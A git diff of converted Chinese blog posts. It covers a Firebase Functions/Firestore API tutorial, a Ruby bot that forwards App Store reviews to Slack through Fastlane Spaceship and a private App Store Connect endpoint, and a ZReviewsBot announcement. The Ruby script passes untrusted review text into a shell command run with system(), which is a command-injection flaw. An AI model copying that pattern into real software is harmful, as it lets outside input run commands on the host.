+app.put("/:id", async (req, res) => { + const title = req.body.title; + const content = req.body.content; + const author = req.body.author; + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } else if (title == null || content == null || author == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var post = {"title":title, "content":content, "author": author}; + await admin.firestore().collection('posts').doc(req.params.id).update(post); + res.status(200).send({"message":"修改成功!"}); +}); + +// Delete +app.delete("/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + await admin.firestore().collection("posts").doc(req.params.id).delete(); + res.status(200).send({"message":"文章成功!"}); +}); + +// Select List +app.get('/', async (req, res) => { + const posts = await admin.firestore().collection('posts').get(); + var result = []; + posts.forEach(doc => { + let id = doc.id; + let data = doc.data(); + result.push({"id":id, ...data}) + }); + res.status(200).send({"result":result}); +}); + +// Select One +app.get("/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + res.status(200).send({"result":{"id":doc.id, ...doc.data()}}); +}); + +// InsertOrUpdate +app.post("/tag", async (req, res) => { + const name = req.body.name; + + if (name == null) { + return res.status(400).send({"message":"參數錯誤!"}); + } + + var tag = {"name":name}; + await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); + res.status(201).send({"message":"新增成功!"}); +}); + +// Like Post +app.post("/like/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + const increment = admin.firestore.FieldValue.increment(1) + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); + res.status(201).send({"message":"按讚成功!"}); +}); + +// Distributed counters Like Post +app.post("/like2/:id", async (req, res) => { + const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); + const increment = admin.firestore.FieldValue.increment(1) + + if (!doc.exists) { + return res.status(404).send({"message":"找不到文章!"}); + } + + //1~10 + await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString()) + .set({count: increment}, {merge: true}); + res.status(201).send({"message":"按讚成功!"}); +}); + + +exports.post= functions.https.onRequest(app); +``` +### 回歸主題,推播統計 + +回到一開始我們想做的,推播統計功能。 + +index\.js: +```javascript +const functions = require('firebase-functions'); +const admin = require('firebase-admin'); +const express = require('express'); +const cors = require('cors'); +const app = express(); + +admin.initializeApp(); +app.use(cors({ origin: true })); + +const vaildPlatformTypes = ["iOS","Android"] +const vaildActionTypes = ["clicked","received"] + +// Insert Log +app.post('/', async (req, res) => { + const increment = admin.firestore.FieldValue.increment(1); + const platformType = req.body.platformType; + const pushID = req.body.pushID; + const actionType = req.body.actionType; + + if (!vaildPlatformTypes.includes(platformType) || pushID == undefined || !vaildActionTypes.includes(actionType)) { + return res.status(400).send({"message":"參數錯誤!"}); + } else { + await admin.firestore().collection(platformType).doc(actionType+"_"+pushID).collection("shards").doc((Math.floor(Math.random()*10)+1).toString()) + .set({count: increment}, {merge: true}) + res.status(201).send({"message":"紀錄成功!"}); + } +}); + +// View Log +app.get('/:type/:id', async (req, res) => { + // received + const receivedDocs = await admin.firestore().collection(req.params.type).doc("received_"+req.params.id).collection("shards").get(); + var received = 0; + receivedDocs.forEach(doc => { + received += doc.data().count; + }); + + // clicked + const clickedDocs = await admin.firestore().collection(req.params.type).doc("clicked_"+req.params.id).collection("shards").get(); + var clicked = 0; + clickedDocs.forEach(doc => { + clicked += doc.data().count; + }); + + res.status(200).send({"received":received,"clicked":clicked}); +}); + +exports.notification = functions.https.onRequest(app); +``` +#### 新增推播紀錄 + + +![](/assets/9659db1357e4/1*3koe6QBxF9oOhBDqjF5mhA.png) + +#### 檢視推播統計數字 +``` +https://us-centra1-xxx.cloudfunctions.net/notification/iOS/1 +``` + + +![](/assets/9659db1357e4/1*SStEkNoDjiL7pffC2pHDkQ.png) + + +另外也做了個介面統計推播數字。 +#### 踩坑 + + +> _因為對 node\.js 用法不太熟悉,一開始摸索的時候在 add 資料時沒加上 `await` 再加上寫入速度限制,導致在大流量情況下會 Data Loss…_ + + + + + + +![](/assets/9659db1357e4/1*dVsBhKJQ3qqxlSvv-mCENA.png) + +### Pricing + +別忘了參考 Firebase Functions & Firestore 的定價策略。 +#### Functions +- [https://cloud\.google\.com/functions/pricing?hl=zh\-tw](https://cloud.google.com/functions/pricing?hl=zh-tw){:target="_blank"} + + + +![](/assets/9659db1357e4/1*76yRqeDyrp0kFmGHN4ZNXg.png) + + + +![運算時間](/assets/9659db1357e4/1*G_At8v80BQl81EUqPuUIbQ.png) + +運算時間 + + +![網路](/assets/9659db1357e4/1*iXk7oKFidHfzRVwrDvKX0A.png) + +網路 + + +> _Cloud Functions 針對運算時間資源提供永久免費方案,當中包含 GB/秒和 GHz/秒的運算時間。除了 200 萬次叫用以外,免費方案也提供 400,000 GB/秒和 200,000 GHz/秒的運算時間,以及每月 5 GB 的網際網路輸出流量。_ + + + + +#### Firestore +- [https://cloud\.google\.com/firestore/pricing?hl=zh\-tw](https://cloud.google.com/firestore/pricing?hl=zh-tw){:target="_blank"} + + + +![](/assets/9659db1357e4/1*ylduiqevk4WH-eNc8EOpvQ.png) + +- [計算範例](https://cloud.google.com/firestore/docs/billing-example?hl=zh-tw){:target="_blank"} + + + +> **_價格可能隨時更改,請以官網最新資訊為準。_** + + + + +### 結論 + +如同標題所寫「可供測試」、「可供測試」、「可供測試」不太建議將以上服務用於正式環境,甚至當作產品的核心上線。 +#### 收費貴、難遷移 + +之前曾聽說某個蠻大的服務就是使用 Firebase 服務搭建起家,結果後期資料、流量大,收費爆貴;要轉移也很困難,程式還好但資料非常難搬;只能說是初期省了小錢卻造成後期巨大的虧損,不值得。 +#### 僅供測試 + +因為以上原因,使用 Firebase Functions \+ Firestore 搭建的 API 服務個人建議僅供測試或是 Prototype 產品展示。 +#### 更多功能 + +Functions 還可以串 Authentication\(身份驗證\)、Storage\(檔案上傳\),但這部分我就沒研究了。 +### 參考資料 +- [https://firebase\.google\.com/docs/firestore/query\-data/queries](https://firebase.google.com/docs/firestore/query-data/queries){:target="_blank"} +- [https://coder\.tw/?p=7198](https://coder.tw/?p=7198){:target="_blank"} +- [https://firebase\.google\.com/docs/firestore/solutions/counters\#node\.js\_1](https://firebase.google.com/docs/firestore/solutions/counters#node.js_1){:target="_blank"} +- [https://javascript\.plainenglish\.io/firebase\-cloud\-functions\-tutorial\-creating\-a\-rest\-api\-8cbc51479f80](https://javascript.plainenglish.io/firebase-cloud-functions-tutorial-creating-a-rest-api-8cbc51479f80){:target="_blank"} + +### 延伸閱讀 +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) +- [i **OS ≥ 10 Notification Service Extension 應用 \(Swift\)**](../cb6eba52a342/) +- [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E4%BD%BF%E7%94%A8-firebase-firestore-functions-%E5%BF%AB%E9%80%9F%E6%90%AD%E5%BB%BA%E5%8F%AF%E4%BE%9B%E6%B8%AC%E8%A9%A6%E7%9A%84-api-%E6%9C%8D%E5%8B%99-9659db1357e4){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-04-21-cb0c68c33994.md b/_posts/zmediumtomarkdown/2021-04-21-cb0c68c33994.md new file mode 100644 index 000000000..52c83837c --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-04-21-cb0c68c33994.md @@ -0,0 +1,554 @@ +--- +title: "AppStore APP’s Reviews Bot 那些事" +author: "ZhgChgLi" +date: 2021-04-21T15:16:31.071+0000 +last_modified_at: 2024-04-13T16:38:28.675+0000 +categories: "ZRealm Dev." +tags: ["slackbot","ios-app-development","ruby","fastlane","automator"] +description: "動手打造 APP 評價追蹤通知 Slack 機器人" +image: + path: /assets/cb0c68c33994/1*BMCG3cu21W5MbODBbhI-sA.jpeg +render_with_liquid: false +--- + +### AppStore APP’s Reviews Slack Bot 那些事 + +使用 Ruby\+Fastlane\-SpaceShip 動手打造 APP 評價追蹤通知 Slack 機器人 + + + +![Photo by [Austin Distel](https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/cb0c68c33994/1*BMCG3cu21W5MbODBbhI-sA.jpeg) + +Photo by [Austin Distel](https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +#### 吃米不知米價 + + +![[AppReviewBot 為例](https://appreviewbot.com){:target="_blank"}](/assets/cb0c68c33994/1*Iv6qvrBfyv3bU1NK1hPVHg.png) + +[AppReviewBot 為例](https://appreviewbot.com){:target="_blank"} + +最近才知道 Slack 中轉發 APP 最新評價訊息的機器人是要付費的,我一直以為這功能是免費的;費用從 $5 到 $200 美金/月都有,因為各平台都不會只做「App Review Bot」的功能,其他還有數據統計、紀錄、統一後台、與競品比較…等等,費用也是照各平台能提供的服務為標準;Review Bot 只是他們的一環,但我就只想用這個功能其他不需要,如果是這樣付費蠻浪費的。 +### 問題 + +本來是用免費開源的工具 [TradeMe/ReviewMe](https://github.com/TradeMe/ReviewMe){:target="_blank"} 來做 Slack 通知,但這個工具已年久失修,時不時 Slack 會爆噴一些舊的評價,看得讓人心驚膽顫(很多 Bug 都早已修復,害我們以為又有問題!),原因不明。 + +所以考慮找其他工具、方法取代。 +### TL;DR \[2022/08/10\] Update: + +現已改用全新的 [App Store Connect API](../f1365e51902c/) 重新設計 App Reviews Bot,並更名重新推出「 [ZReviewTender — 免費開源的 App Reviews 監控機器人](../e36e48bb9265/) 」。 + +==== +### 2022/07/20 Update + +[App Store Connect API 現已支援 讀取和管理 Customer Reviews](../f1365e51902c/) ,App Store Connect API 原生已支援存取 App 評價, **不需要再使用** Fastlane — Spaceship 去後台拿評價。 +### 原理探究 + +有了動機之後,再來研究下達成目標的原理。 +#### 官方 API ❌ + +蘋果有提供 [App Store Connect API](https://developer.apple.com/app-store-connect/api/){:target="_blank"} ,但沒提供撈取評價功能。 + +\[2022/07/20 更新\]: [App Store Connect API 現已支援 讀取和管理 Customer Reviews](../f1365e51902c/) +#### Public URL API \(RSS\) ⚠️ + +蘋果有提供公開的 APP 評價 [RSS 訂閱網址](https://rss.itunes.apple.com/zh-tw){:target="_blank"} ,而且除了 rss xml 還提供 json 格式。 +```plaintext +https://itunes.apple.com/國家碼/rss/customerreviews/id=APP_ID/page=1/sortBy=mostRecent/json +``` +- 國家碼:可參考 [這份文件](https://help.apple.com/app-store-connect/#/dev997f9cf7c){:target="_blank"} 。 +- APP\_ID:前往 App 網頁版,會得到網址:https://apps\.apple\.com/tw/app/APP名稱/id **12345678** ,id 後面的數字及為 App ID(純數字)。 +- page:可請求 1~10 頁,超過無法取得。 +- sortBy: `mostRecent/json` 請求最新的& json 格式,也可改為 `mostRecent/xml` 則為 xml 格式。 + + +**評價資料回傳如下:** + +rss\.json: +```json +{ + "author": { + "uri": { + "label": "https://itunes.apple.com/tw/reviews/id123456789" + }, + "name": { + "label": "test" + }, + "label": "" + }, + "im:version": { + "label": "4.27.1" + }, + "im:rating": { + "label": "5" + }, + "id": { + "label": "123456789" + }, + "title": { + "label": "很棒的存在!" + }, + "content": { + "label": "人生值得了~", + "attributes": { + "type": "text" + } + }, + "link": { + "attributes": { + "rel": "related", + "href": "https://itunes.apple.com/tw/review?id=123456789&type=Purple%20Software" + } + }, + "im:voteSum": { + "label": "0" + }, + "im:contentType": { + "attributes": { + "term": "Application", + "label": "應用程式" + } + }, + "im:voteCount": { + "label": "0" + } +} +``` + +**優點:** +1. 公開、不需身份驗證步驟即可存取 +2. 簡單好用 + + +**缺點:** +1. 此 RSS API 很老舊都沒更新 +2. 回傳評價的資訊太少(沒留言時間、已編輯過評價?、已回覆?) +3. 遇到資料錯亂問題(後面幾頁偶爾會突然噴舊資料) +4. 最多存取 10 頁 + + + +> _關於我們遇到的最大問題是 3;但這部分不確定是我們用的 [Bot 工具](https://github.com/TradeMe/ReviewMe){:target="_blank"} 問題,還是這個 RSS URL 資料有問題。_ + + + + +#### Private URL API ✅ + +這個方法說來有點旁門左道,也是我突發奇想發現的;但在後續參考了其他 Review Bot 做法之後發現很多網站也都是這樣用,應該沒什麼問題而且我 4~5 年前就看過有工具這樣做了,只是當時沒深入研究。 + +**優點:** +1. 同蘋果後台資料 +2. 資料完整且最新 +3. 可做更多細節篩選 +4. 具備深度整合的 APP 工具也是用這個方法(AppRadar/AppReviewBot…) + + +**缺點:** +1. 非官方公布方法(旁門左道) +2. 因蘋果實行全面兩步驟登入,所以登入 session 需要定期更新。 + + +**第一步 — 嗅探 App Store Connect 後台評論區塊 Load 資料的 API:** + + +![](/assets/cb0c68c33994/1*74lbicQ_vPzrLfm1imk7Pg.png) + + +得到蘋果後台是透過打: +```plaintext +https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/APP_ID/platforms/ios/reviews?index=0&sort=REVIEW_SORT_ORDER_MOST_RECENT +``` + +這個 endpoint 取得評價列表: + + +![](/assets/cb0c68c33994/1*I00Znmzaivm_-7ous0-4Pw.png) + + +index = 分頁 offset,一次最多顯示 100 筆。 + +**評價資料回傳如下:** + +private\.json: +```json +{ + "value": { + "id": 123456789, + "rating": 5, + "title": "很棒的存在!", + "review": "人生值得了~", + "created": null, + "nickname": "test", + "storeFront": "TW", + "appVersionString": "4.27.1", + "lastModified": 1618836654000, + "helpfulViews": 0, + "totalViews": 0, + "edited": false, + "developerResponse": null + }, + "isEditable": true, + "isRequired": false, + "errorKeys": null +} +``` + +另外經過測試後發現,只需要在帶上 `cookie: myacinfo=` 即可偽造請求得到資料: + + +![](/assets/cb0c68c33994/1*b_vINNRMrAIQrkuouN7X1Q.png) + + +API 有了、要求的 header 知道了,再來就要想辦法自動化取得後台這個 cookie 資訊。 + +**第二步 —萬能 Fastlane** + +因蘋果現在實行全 Two\-Step Verification,所以對於登入驗證自動化變得更加煩瑣,幸好與蘋果鬥智鬥勇的 [Fastlane](https://docs.fastlane.tools/best-practices/continuous-integration/){:target="_blank"} ,除了正規的 App Store Connect API、iTMSTransporter、網頁認證\(包含兩步驟認證\)全都有實作;我們可以直接使用 Fastlane 的指令: +```bash +fastlane spaceauth -u +``` + +此指令會完成網頁登入驗證\(包含兩步驟認證\),然後將 cookie 存入 FASTLANE\_SESSION 檔案之中。 + +會得到類似如下字串: +``` +!ruby/object:HTTP::Cookie +name: myacinfo value: +domain: apple.com for_domain: true path: "/" +secure: true httponly: true expires: max_age: +created_at: 2021-04-21 20:42:36.818821000 +08:00 +accessed_at: 2021-04-21 22:02:45.923016000 +08:00 +!ruby/object:HTTP::Cookie +name: value: +domain: idmsa.apple.com for_domain: true path: "/" +secure: true httponly: true expires: max_age: 2592000 +created_at: 2021-04-19 23:21:05.851853000 +08:00 +accessed_at: 2021-04-21 20:42:35.735921000 +08:00 +``` + +將 `myacinfo = value` 帶入就能取得評價列表。 + +**第三步 — SpaceShip** + +本來以為 Fastlane 只能幫我們到這了,再來要自己串起從 Fastlane 拿到 cookie 然後打 api 的 flow;沒想到經過一番探索發現 Fastlane 關於驗證這塊的模組 `SpaceShip` 還有更多強大的功能! + + +![`SpaceShip`](/assets/cb0c68c33994/1*OlYQLNXAOk1oNqDP7LSlrA.png) + +`SpaceShip` + +SpaceShip 裡面已經幫我們打包好撈評價列表的方法 [**Class: Spaceship::TunesClient::get\_reviews**](https://www.rubydoc.info/gems/spaceship/0.39.0/Spaceship/TunesClient#get_reviews-instance_method){:target="_blank"} 了! +```ruby +app = Spaceship::Tunes::login(appstore_account, appstore_password) +reviews = app.get_reviews(app_id, platform, storefront, versionId = '') +``` + +\*storefront = 地區 + +**第四步 — 組裝** + +Fastlane、Spaceship 都是由 ruby 撰寫,所以我們也要用 ruby 來製作這個 Bot 小工具。 + +我們可以建立一個 `reviewBot.rb` 檔案,編譯執行時只需在 Terminal 輸入: +```bash +ruby reviewBot.rb +``` + +即可。 _\( \*更多 ruby 環境問題可參考文末提示\)_ + +**首先** ,因原本的 get\_reviews 口的參數不符合我們需求;我想要的是全地區、全版本的評價資料、不需要篩選、支援分頁: + +extension\.rb: +```ruby +# Extension Spaceship->TunesClient +module Spaceship + class TunesClient < Spaceship::Client + def get_recent_reviews(app_id, platform, index) + r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT") + parse_response(r, 'data')['reviews'] + end + end +end +``` + +所以我們自己在 TunesClient 中擴充一個方法,裡面參數只帶 app\_id、platform = `ios` \( **全小寫** \)、index = 分頁 offset。 + +**再來組裝登入驗證、撈評價列表:** + +get\_recent\_reviews\.rb: +```ruby +index = 0 +breakWhile = true +while breakWhile + app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼) + reviews = app.get_recent_reviews($app_id, $platform, index) + if reviews.length() <= 0 + breakWhile = false + break + end + reviews.each { |review| + index += 1 + puts review["value"] + } +end +``` + +使用 while 遍歷所有分頁,當跑到無內容時終止。 + +**再來要加上紀錄上次最新一筆的時間,只通知沒通知過的最新訊息:** + +lastModified\.rb: +```ruby +lastModified = 0 +if File.exists?(".lastModified") + lastModifiedFile = File.open(".lastModified") + lastModified = lastModifiedFile.read.to_i +end +newLastModified = lastModified +isFirst = true +messages = [] + +index = 0 +breakWhile = true +while breakWhile + app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼) + reviews = app.get_recent_reviews($app_id, $platform, index) + if reviews.length() <= 0 + breakWhile = false + break + end + reviews.each { |review| + index += 1 + if isFirst + isFirst = false + newLastModified = review["value"]["lastModified"] + end + + if review["value"]["lastModified"] > lastModified && lastModified != 0 + # 第一次使用不發通知 + messages.append(review["value"]) + else + breakWhile = false + break + end + } +end + +messages.sort! { |a, b| a["lastModified"] <=> b["lastModified"] } +messages.each { |message| + notify_slack(message) +} + +File.write(".lastModified", newLastModified, mode: "w+") +``` + +單純用一個 `.lastModified` 紀錄上一次執行時拿到的時間。 + +_\*第一次使用不發通知,否則會一次狂噴_ + +**最後一步,組合推播訊息 & 發到 Slack:** + +slack\.rb: +```ruby +# Slack Bot +def notify_slack(review) + rating = review["rating"].to_i + color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger") + like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : "" + date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" + + + isResponse = "" + if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"] + isResponse = " (回覆已過時)" + end + + edited = review["edited"] == false ? "" : ":memo: 使用者更新評論#{isResponse}:" + + stars = "★" * rating + "☆" * (5 - rating) + attachments = { + :pretext => edited, + :color => color, + :fallback => "#{review["title"]} - #{stars}#{like}", + :title => "#{review["title"]} - #{stars}#{like}", + :text => review["review"], + :author_name => review["nickname"], + :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - " + } + payload = { + :attachments => [attachments], + :icon_emoji => ":storm_trooper:", + :username => "ZhgChgLi iOS Review Bot" + }.to_json + cmd = "curl -X POST --data-urlencode 'payload=#{payload}' SLACK_WEB_HOOK_URL" + system(cmd, :err => File::NULL) + puts "#{review["id"]} send Notify Success!" + end +``` + +`SLACK_WEB_HOOK_URL` = [**Incoming WebHook URL**](https://slack.com/apps/A0F7XDUAZ-incoming-webhooks){:target="_blank"} +### **最終結果** + +appreviewbot\.rb: +```ruby +require "Spaceship" +require 'json' +require 'date' + +# Config +$slack_web_hook = "目標通知的 web hook url" +$slack_debug_web_hook = "機器人有錯誤時的通知 web hook url" +$appstore_account = "APPStoreConnect 帳號(Email)" +$appstore_password = "APPStoreConnect 密碼" +$app_id = "APP_ID" +$platform = "ios" + +# Extension Spaceship->TunesClient +module Spaceship + class TunesClient < Spaceship::Client + def get_recent_reviews(app_id, platform, index) + r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT") + parse_response(r, 'data')['reviews'] + end + end +end + +# Slack Bot +def notify_slack(review) + rating = review["rating"].to_i + color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger") + like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : "" + date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" + + + isResponse = "" + if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"] + isResponse = " (客服回覆已過時)" + end + + edited = review["edited"] == false ? "" : ":memo: 使用者更新評論#{isResponse}:" + + stars = "★" * rating + "☆" * (5 - rating) + attachments = { + :pretext => edited, + :color => color, + :fallback => "#{review["title"]} - #{stars}#{like}", + :title => "#{review["title"]} - #{stars}#{like}", + :text => review["review"], + :author_name => review["nickname"], + :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - " + } + payload = { + :attachments => [attachments], + :icon_emoji => ":storm_trooper:", + :username => "ZhgChgLi iOS Review Bot" + }.to_json + cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_web_hook}" + system(cmd, :err => File::NULL) + puts "#{review["id"]} send Notify Success!" + end + +begin + lastModified = 0 + if File.exists?(".lastModified") + lastModifiedFile = File.open(".lastModified") + lastModified = lastModifiedFile.read.to_i + end + newLastModified = lastModified + isFirst = true + messages = [] + + index = 0 + breakWhile = true + while breakWhile + app = Spaceship::Tunes::login($appstore_account, $appstore_password) + reviews = app.get_recent_reviews($app_id, $platform, index) + if reviews.length() <= 0 + breakWhile = false + break + end + reviews.each { |review| + index += 1 + if isFirst + isFirst = false + newLastModified = review["value"]["lastModified"] + end + + if review["value"]["lastModified"] > lastModified && lastModified != 0 + # 第一次使用不發通知 + messages.append(review["value"]) + else + breakWhile = false + break + end + } + end + + messages.sort! { |a, b| a["lastModified"] <=> b["lastModified"] } + messages.each { |message| + notify_slack(message) + } + + File.write(".lastModified", newLastModified, mode: "w+") +rescue => error + attachments = { + :color => "danger", + :title => "AppStoreReviewBot Error occurs!", + :text => error, + :footer => "*因蘋果技術限制,精準評價爬取功能約每一個月需要重新登入設定,敬請見諒。" + } + payload = { + :attachments => [attachments], + :icon_emoji => ":storm_trooper:", + :username => "ZhgChgLi iOS Review Bot" + }.to_json + cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_debug_web_hook}" + system(cmd, :err => File::NULL) + puts error +end +``` + +另外還加上了 begin…rescue \(try…catch\) 保護,如果有出現錯誤則發 Slack 通知我們回來檢查(多半是 session 過期)。 + + +> **_最後只要將此腳本加到 crontab / schedule 等排程工具定時執行即可!_** + + + + + +**效果圖:** + + +![](/assets/cb0c68c33994/1*B0xW1CXU-avz2j8_ny3Ang.jpeg) + +### 免費的其他選擇 +1. [AppFollow](https://appfollow.io/){:target="_blank"} :使用 Public URL API \(RSS\),只能說堪用吧。 +2. [feedis\.io](https://feedis.io/product/proxime/features){:target="_blank"} :使用 Private URL API,需要把帳號密碼給他們。 +3. [TradeMe/ReviewMe](https://github.com/TradeMe/ReviewMe){:target="_blank"} :自架服務\(node\.js\),我們原先用這個,但遇到前述問題。 +4. [JonSnow](https://github.com/saiday/JonSnow){:target="_blank"} :自架服務\(GO\),支援一鍵部署到 heroku,作者: [@saiday](https://twitter.com/saiday){:target="_blank"} + +### 溫馨提示 + +1\.⚠️Private URL API 方法,如果用有二階段驗證的帳號,最長每 30 天都需要重新驗證才能使用且目前無解;如果有辦法生出沒二階段的帳號就可以無痛爽爽用。 + + +![[\#important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"}](/assets/cb0c68c33994/1*EE2J5HmdiIogMwC3Iiy0KA.png) + +[\#important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} + +2\.⚠️不論是免費、付費、本文的自架;切勿使用開發者帳號,務必開一個獨立的 App Store Connect 帳號使用,權限只開放「Customer Support」;防止資安問題。 + +3\.Ruby 建議使用 [rbenv](https://gist.github.com/sandyxu/8aceec7e436a6ab9621f){:target="_blank"} 進行管理,因系統自帶 2\.6 版容易造成衝突。 + +4\.在 macOS Catalina 如遇到 GEM、Ruby 環境錯誤問題,可參考 [此回覆](https://github.com/orta/cocoapods-keys/issues/198#issuecomment-510909030){:target="_blank"} 解決。 +### Problem Solved\! + +經過以上心路歷程,更瞭解的 Slack Bot 的運作方式;還有 iOS App Store 是如何爬取評價內容的,另外也摸了下 ruby!寫起來真不錯! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/appstore-apps-reviews-bot-%E9%82%A3%E4%BA%9B%E4%BA%8B-cb0c68c33994){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-05-05-33f6aabb744f.md b/_posts/zmediumtomarkdown/2021-05-05-33f6aabb744f.md new file mode 100644 index 000000000..a7302a9ec --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-05-05-33f6aabb744f.md @@ -0,0 +1,57 @@ +--- +title: "ZReviewsBot — Slack App Review 通知機器人" +author: "ZhgChgLi" +date: 2021-05-05T13:51:19.238+0000 +last_modified_at: 2023-08-05T16:41:07.455+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","slack","slackbot","app-review","ruby"] +description: "" +image: + path: /assets/33f6aabb744f/1*FEz6o4JJ-ZyyC7JPqFcKJA.png +render_with_liquid: false +--- + +### ZReviewsBot — Slack App Review 通知機器人 + +免費開源的 iOS & Android APP 最新評價追蹤 Slack Bot + +### TL;DR \[2022/08/10\] Update: + +現已改用全新的 [App Store Connect API](../f1365e51902c/) 重新設計 App Reviews Bot,並更名重新推出「 [ZReviewTender — 免費開源的 App Reviews 監控機器人](../e36e48bb9265/) 」。 + +==== +### [ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"} + + +![[ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}](/assets/33f6aabb744f/1*FEz6o4JJ-ZyyC7JPqFcKJA.png) + +[ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"} + +[ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"} 為免費、開源專案,幫助您的 App 團隊自動追蹤 App Store \(iOS\) 及 Google Play \(Android\) 平台上 App 的最新評價,並發送到指定 Slack Channel 方便您即時了解當前 App 狀況。 +- ✅ 使用更新、更可靠的 API Endpoint 追蹤 iOS App 評價 \( [技術細節](../cb0c68c33994/) \) +- ✅ 支援雙平台評價追蹤 iOS & Android +- ✅ 支援關鍵字通知略過功能 \(防洗版廣告騷擾\) +- ✅ 客製化設定,隨心所欲 +- ✅ 支援使用 Github Action 部署 Schedule 自動機器人 + +### \[2022/07/20 Update\] + +[App Store Connect API 現已支援 讀取和管理 Customer Reviews](../f1365e51902c/) ,此機器人將於後續更新實作,取代掉使用 Fastlane — Spaceship 去後台拿評價的方式。 +### 起源 + +繼上一篇「 [AppStore APP’s Reviews Slack Bot 那些事](../cb0c68c33994/) 」研究並完成了新的 iOS 評價撈取工具,想了想好像蠻適合當 Side Project Open Source 出來給有相同問題的朋友使用。 +### Flow + + +![](/assets/33f6aabb744f/1*1JfLrDYEhoJ7Q_mfnTmzlw.jpeg) + +### 延伸閱讀 +- [\[生產力工具\] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱](../118e924a1477/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/zreviewsbot-slack-app-review-%E9%80%9A%E7%9F%A5%E6%A9%9F%E5%99%A8%E4%BA%BA-33f6aabb744f){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-06-13-d61062833c1a.md b/_posts/zmediumtomarkdown/2021-06-13-d61062833c1a.md new file mode 100644 index 000000000..58af8725a --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-06-13-d61062833c1a.md @@ -0,0 +1,998 @@ +--- +title: "Slack 打造全自動 WFH 員工健康狀況回報系統" +author: "ZhgChgLi" +date: 2021-06-13T16:58:21.063+0000 +last_modified_at: 2024-04-13T16:43:33.516+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","automation","google-sheets","app-script","slack"] +description: "玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率" +image: + path: /assets/d61062833c1a/1*KTyHirY-qlH1kNTT4a_XjQ.jpeg +render_with_liquid: false +--- + +### Slack 打造全自動 WFH 員工健康狀況回報系統 + +玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率 + + + +![Photo by [Stephen 